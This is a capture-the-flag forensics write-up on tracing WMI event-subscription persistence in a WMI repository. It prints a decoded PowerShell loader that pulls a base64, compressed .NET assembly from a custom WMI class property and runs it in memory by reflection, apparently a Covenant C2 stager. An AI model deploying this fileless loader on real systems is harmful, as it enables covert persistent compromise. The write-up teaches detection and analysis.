Write-Ups
thewildspirit,
Sep 16
2022
During a recent security assessment of a well-known consulting company, the competent team found some employees' credentials in publicly available breach databases. Thus, they called us to trace down the actions performed by these users. During the investigation, it turned out that one of them had been compromised. Although their security engineers took the necessary steps to remediate and secure the user and the internal infrastructure, the user was getting compromised repeatedly. Narrowing down our investigation to find possible persistence mechanisms, we are confident that the malicious actors use WMI to establish persistence. You are given the WMI repository of the user's workstation. Can you analyze and expose their technique?
The downloadable file for this challenge is the WMI repository folder.
For this challenge, I wanted to demonstrate how WMI is being used as a persistence mechanism in the wild. Thus, I decided to do some research on how both pentesters and malicious actors tend to use it. But before explaining the intended solution, let's go over the basics first.
WMI is the Windows Management Instrumentation. It's a set of tools that allows administrators to manage and monitor Windows systems. It can be found installed by default in every modern Windows version.
Some basic terms are:
Event Filter: Enables you to query for and receive events that match specified criteria and trigger an Event Consumer
Event Consumer: This allows you to receive and process events from a WMI event provider
Binding: Binds the Filter and Consumer together
MOF: Managed Object Format file, defines WMI classes to be inserted into the repository
The WMI repository is a database that contains information about the Windows Management Instrumentation (WMI) classes installed on a computer, and it has the following structure:
OBJECTS.DATA: Objects managed by WMI
INDEX.BTR: Index of files imported into OBJECTS.DATA
MAPPING[1-3].MAP: Correlates data in OBJECTS.DATA and INDEX.BTR
As described by MITRE:
Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user logging, or the computer's uptime. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
The challenge's objective was intendedly hinted by the description, so players have the chance to become familiar with the concept before even starting the challenge.
As always, challengers should start from the low-hanging fruits, which in our case, when given a WMI repository, is to look for events to consumer bindings. If our theory is true, the attackers would be able to execute their payload once a condition is met.
For this task, we will use a python script from the repository called WMI_Forensics to parse the OBJECTS.DATA database and locate the persistence mechanism via FitlerToConsumerBindings.
The decoded payload can be found here:
$file = ([WmiClass]'ROOT\cimv2:Win32_MemoryArrayDevice').Properties['Property'].Value;sv o (New-Object IO.MemoryStream);
sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress));
sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);
while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);
sv r (gv d).Value.Read((gv b).Value,0,1024);}[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null
This script performs several actions:
Retrieves the property named Property from the ROOT\cimv2:Win32_MemoryArrayDevice WMI custom class
Decodes it from base64 and then decompresses it
At last, loads it in memory using reflection
It is worth mentioning that this technique was inspired by FIN8's WMI persistence mechanism, where they put their malicious payload in an object's property and then execute it using reflection. This is considered a Type II fileless attack as it doesn't directly write files on the file system but can end up using files indirectly. Even though the infection chain does technically use a physical file, it's considered a fileless attack because the WMI repository is a multi-purpose data container that can't be detected and removed.
To continue, we need to find the wmi class and its properties.
The flare-wmi suite contains useful scripts that can parse the WMI repository and automatically identify and carve class definitions from WMI repository unused space.
If we search for the Win32_MemoryArrayDevice class we found earlier from the persistence payload, we can find its properties.
Now we decode and decompress it and retrieve the .NET assembly.
We can load the assembly to the decompiler of our choice and decompile it. For me, it is ILSpy.
In the last step, I wanted to use a real C2 stager to make the challenge more realistic. I chose my favorite open source one, Covenant.
After a quick source code review, we can spot the main functionality.
This is the part of the code where the key initialization is happening for the traffic encryption. The hard-coded key is built using a string builder.
We can get the flag if we concatenate the base64 strings and decode them.